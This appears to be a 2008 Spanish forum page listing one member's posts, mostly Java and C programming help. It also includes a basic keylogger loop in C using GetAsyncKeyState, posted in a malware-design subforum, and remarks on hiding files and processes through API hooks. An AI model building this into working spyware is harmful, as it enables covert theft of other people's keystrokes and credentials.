elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
11 Octubre 2008, 21:24  



  Mostrar Mensajes
Páginas: 1 2 3 4 5 [6] 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 ... 158
76  Programación / Java / Re: Graficos en java en: 02 Septiembre 2008, 00:20
Plantate tres rectángulos y arreglado, te hago un ejemplo simple, poner los ejes y ajustar los rectángulos es de lo más simple:

Código
import javax.swing.*;
import java.awt.*;
import java.awt.geom.*;
 
public class Main extends JFrame
{
 
   public static void main(String[] args) {
       new Main();
   }
 
   public Main()
   {
       this.setTitle("Ejemplo");
       this.setSize(200, 200);
       this.setDefaultCloseOperation(EXIT_ON_CLOSE);
       this.setVisible(true);
   }
 
   public void paint (Graphics g)
   {
       g.setColor(Color.red);
       g.fillRect(10,  180-25, 40, 25);
       g.fillRect(60,  180-25, 40, 25);
       g.fillRect(110, 180-50, 40, 50);
   }
}
 

Ala, el resto te lo haces tu, que todos tenemos más asignaturas y lo que te han mandado tampoco es nada del otro mundo... además seguro que esto te lo han tenido que explicar en clase ;) No te costará mucho adaptarlo.

Salu2
77  Programación / Programación C/C++ / Re: como escribo frases largas y que me aparezcan exactamente como las escribi? en: 31 Agosto 2008, 19:21
Citar
oí que puede provocar vulnerabilidades al sobreescribirse otras variables.

Provoca vulnerabilidades ya que se sobrescribe la dirección de retorno guardada en la pila y permite ejecutar código no deseado :P
78  Programación / Programación General / MOVIDO: Pasar Datos de un Formulario Con DataGridView a otro formulario con TEXTBOX C# en: 30 Agosto 2008, 13:30
El tema ha sido movido a .NET
79  Programación / Programación VB / MOVIDO: Descargar Visual Studio Pro 2008 + Librerias MSDN [Esp] en: 29 Agosto 2008, 14:56
El tema ha sido movido a .NET
80  Seguridad Informática / Análisis y Diseño de Malware / Re: [+] Versión Final: SMALL JOINER by E0N (Joiner Open Source en ASM) en: 28 Agosto 2008, 02:26
Jajaja el antivirus te lo detecta como tal por que este joiner tiene mas años que la tarara, no es malicioso ;)
81  Programación / Programación General / MOVIDO: Ebook - Learning Perl on Win32 Systems en: 27 Agosto 2008, 22:15
El tema ha sido movido a scripting
82  Seguridad Informática / Análisis y Diseño de Malware / Re: Nociones para hacer keylogger en: 27 Agosto 2008, 16:29
Puedes usar el api GetAsyncKeyState, un código mio basado en un ejemplo de Lympex:

Código
#include <stdio.h>
 
#include <windows.h>
 
 
 
#define OK -32767
 
 
 
void main()
 
 
 
{
 
do
 
{
 
       //TECLAS CARACTERES
 
       if(GetAsyncKeyState(65)==OK){ printf("A"); }
 
if(GetAsyncKeyState(66)==OK){ printf("B"); }
 
if(GetAsyncKeyState(67)==OK){ printf("C"); }
 
if(GetAsyncKeyState(68)==OK){ printf("D"); }
 
if(GetAsyncKeyState(69)==OK){ printf("E"); }
 
if(GetAsyncKeyState(70)==OK){ printf("F"); }
 
if(GetAsyncKeyState(71)==OK){ printf("G"); }
 
if(GetAsyncKeyState(72)==OK){ printf("H"); }
 
if(GetAsyncKeyState(73)==OK){ printf("I"); }
 
if(GetAsyncKeyState(74)==OK){ printf("J"); }
 
if(GetAsyncKeyState(75)==OK){ printf("K"); }
 
if(GetAsyncKeyState(76)==OK){ printf("L"); }
 
if(GetAsyncKeyState(77)==OK){ printf("M"); }
 
if(GetAsyncKeyState(78)==OK){ printf("N"); }
 
if(GetAsyncKeyState(79)==OK){ printf("O"); }
 
if(GetAsyncKeyState(80)==OK){ printf("P"); }
 
if(GetAsyncKeyState(81)==OK){ printf("Q"); }
 
if(GetAsyncKeyState(82)==OK){ printf("R"); }
 
if(GetAsyncKeyState(83)==OK){ printf("S"); }
 
if(GetAsyncKeyState(84)==OK){ printf("T"); }
 
if(GetAsyncKeyState(85)==OK){ printf("U"); }
 
if(GetAsyncKeyState(86)==OK){ printf("V"); }
 
if(GetAsyncKeyState(87)==OK){ printf("W"); }
 
if(GetAsyncKeyState(88)==OK){ printf("X"); }
 
if(GetAsyncKeyState(89)==OK){ printf("Y"); }
 
if(GetAsyncKeyState(90)==OK){ printf("Z"); }
 
 
 
//TECLADO NUMÉRICO
 
if(GetAsyncKeyState(VK_NUMPAD9)==OK){ printf("9"); }
 
if(GetAsyncKeyState(VK_NUMPAD8)==OK){ printf("8"); }
 
if(GetAsyncKeyState(VK_NUMPAD7)==OK){ printf("7"); }
 
if(GetAsyncKeyState(VK_NUMPAD6)==OK){ printf("6"); }
 
if(GetAsyncKeyState(VK_NUMPAD5)==OK){ printf("5"); }
 
if(GetAsyncKeyState(VK_NUMPAD4)==OK){ printf("4"); }
 
if(GetAsyncKeyState(VK_NUMPAD3)==OK){ printf("3"); }
 
if(GetAsyncKeyState(VK_NUMPAD2)==OK){ printf("2"); }
 
if(GetAsyncKeyState(VK_NUMPAD1)==OK){ printf("1"); }
 
if(GetAsyncKeyState(VK_NUMPAD0)==OK){ printf("0"); }
 
 
 
 
 
 
 
//TECLAS ESPECIALES
 
if(GetAsyncKeyState(VK_RETURN)==OK){printf("[Enter]");}
 
if(GetAsyncKeyState(VK_SHIFT)==OK){printf("[Shift]");}
 
       if(GetAsyncKeyState(VK_LBUTTON )==OK){printf("Botón izquierdo ratón");}
 
       if(GetAsyncKeyState(VK_RBUTTON)==OK){printf("Botón derecho ratón");}
 
       if(GetAsyncKeyState(VK_BACK )==OK){printf("Backspace");}
 
       if(GetAsyncKeyState(VK_CLEAR)==OK){printf("Clear key");}
 
       if(GetAsyncKeyState(VK_CONTROL)==OK){printf("[CTRL]");}
 
       if(GetAsyncKeyState(VK_MENU)==OK){printf("ALT");}
 
       if(GetAsyncKeyState(VK_PAUSE)==OK){printf("PAUSE");}
 
       if(GetAsyncKeyState(VK_ESCAPE)==OK){printf("ESC");}
 
       if(GetAsyncKeyState(VK_SPACE)==OK){printf("espacio");}
 
       if(GetAsyncKeyState(VK_PRIOR)==OK){printf("PAGE UP");}
 
       if(GetAsyncKeyState(VK_NEXT)==OK){printf("END");}
 
       if(GetAsyncKeyState(VK_HOME)==OK){printf("HOME");}
 
       if(GetAsyncKeyState(VK_LEFT)==OK){printf("LEFT ARROW KEY");}
 
       if(GetAsyncKeyState(VK_UP)==OK){printf("UP ARROW KEY");}
 
       if(GetAsyncKeyState(VK_DOWN)==OK){printf("DOWN ARROW KEY");}
 
       if(GetAsyncKeyState(VK_RIGHT)==OK){printf("RIGHT ARROW KEY");}
 
       if(GetAsyncKeyState(VK_DELETE)==OK){ printf("DEL");}
 
       if(GetAsyncKeyState(VK_INSERT)==OK){printf("INSERT");}
 
       if(GetAsyncKeyState(VK_F1)==OK){printf("F1");}
 
       if(GetAsyncKeyState(VK_F1)==OK){printf("F1");}
 
       if(GetAsyncKeyState(VK_F2)==OK){printf("F2");}
 
       if(GetAsyncKeyState(VK_F3)==OK){printf("F3");}
 
if(GetAsyncKeyState(VK_F4)==OK){printf("F4");}
 
if(GetAsyncKeyState(VK_F5)==OK){printf("F5");}
 
       if(GetAsyncKeyState(VK_F6)==OK){printf("F6");}
 
       if(GetAsyncKeyState(VK_F7)==OK){printf("F7");}
 
       if(GetAsyncKeyState(VK_F8)==OK){printf("F8");}
 
       if(GetAsyncKeyState(VK_F9)==OK){printf("F9");}
 
       if(GetAsyncKeyState(VK_F10)==OK){printf("F10");}
 
       if(GetAsyncKeyState(VK_F11)==OK){printf("F11");}
 
       if(GetAsyncKeyState(VK_F12)==OK){printf("F12");}
 
       /*if(GetAsyncKeyState(VK_OEM_1)==OK){printf(";:");}
 
       if(GetAsyncKeyState(VK_OEM_PLUS)==OK){printf("+");}
 
       if(GetAsyncKeyState(VK_OEM_COMMA)==OK)printf(",");}
 
       if(GetAsyncKeyState(VK_OEM_MINUS)==OK){printf("-");}
 
       if(GetAsyncKeyState(VK_OEM_PERIOD)==OK){printf(".");}
 
       if(GetAsyncKeyState(VK_OEM_2)==OK){printf("?");}
 
       if(GetAsyncKeyState(VK_OEM_3)==OK){printf("`");}
 
       if(GetAsyncKeyState(VK_OEM_4)==OK)printf("[{");}
 
       if(GetAsyncKeyState(VK_OEM_5)==OK){printf("|");}
 
       if(GetAsyncKeyState(VK_OEM_6)==OK){printf("]}");}*/

 
 
 
}while(1<2);
 
return;
 
}
83  Programación / Programación VB / Re: Duda global api hooking en: 27 Agosto 2008, 14:51
Infórmate de como hacer drivers en VB, que se puede, lo que no estoy seguro es de que vayas a poder hacer el gancho, por temas de punteros y tal.

Que se puede lograr? Puedes lograr que todo el SO haga lo que quieras, te parece poco? xDD (ocultar archivos, procesos, conexiones abiertas, cambiar todos los mensajes emergentes, etc, etc...)
84  Programación / Java / Re: Ayuda con un jButton en: 25 Agosto 2008, 14:41
http://www.chuidiang.com/java/novatos/hola_mundo_swing.php
85  Programación / Programación VB / Re: Botones con imagenes + Temas de XP (Source) en: 23 Agosto 2008, 20:15
Perdón, que se me ha pirado la pinza xD Es que tengo el vista en una máquina virtual y para pasar archivo tengo que copiarlos en una carpeta compartida y solo había metido el exe xDD Si funciona:  :rolleyes: :rolleyes: :rolleyes:
86  Programación / Programación VB / Re: Botones con imagenes + Temas de XP (Source) en: 23 Agosto 2008, 17:38
En vista no funciona bien...

87  Programación / Programación C/C++ / Re: C de Linux y C de Windows en: 23 Agosto 2008, 14:51
Y puedes hacer un código que compile tanto en Windows como en Linux usando #ifdef WIN32  ... #else ... #endif, hay un ejemplo muy bueno de Lympex, búscalo por google ;)

Salu2
88  Programación / Programación C/C++ / Re: Una recopilación de las funciones que maneja C++ en: 23 Agosto 2008, 14:45
wsprintf es un api, printf es de C así como system...
89  Programación / Programación General / MOVIDO: AYUDA URGENTE PLEASE JAVA Base de datos en: 23 Agosto 2008, 14:43
El tema ha sido movido a JAVA
90  Programación / Java / Re: JPopupMenu que no responde a eventos en: 20 Agosto 2008, 14:01
Ok, muchas gracias Ferchu me miraré con detalle el código a ver que es lo que me falta ;)

Salu3

EDIT -> Gracias Ferchu, ya me funciona ^^
Páginas: 1 2 3 4 5 [6] 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 ... 158






Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

hard-h2o modding    Foros de ayuda    Yashira.org    Videojuegos    indetectables.net   

Noticias Informatica    Seguridad Informática    ADSL    Foros en español    eNYe Sec

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.6 | SMF © 2006-2008, Simple Machines LLC
Free counter and web stats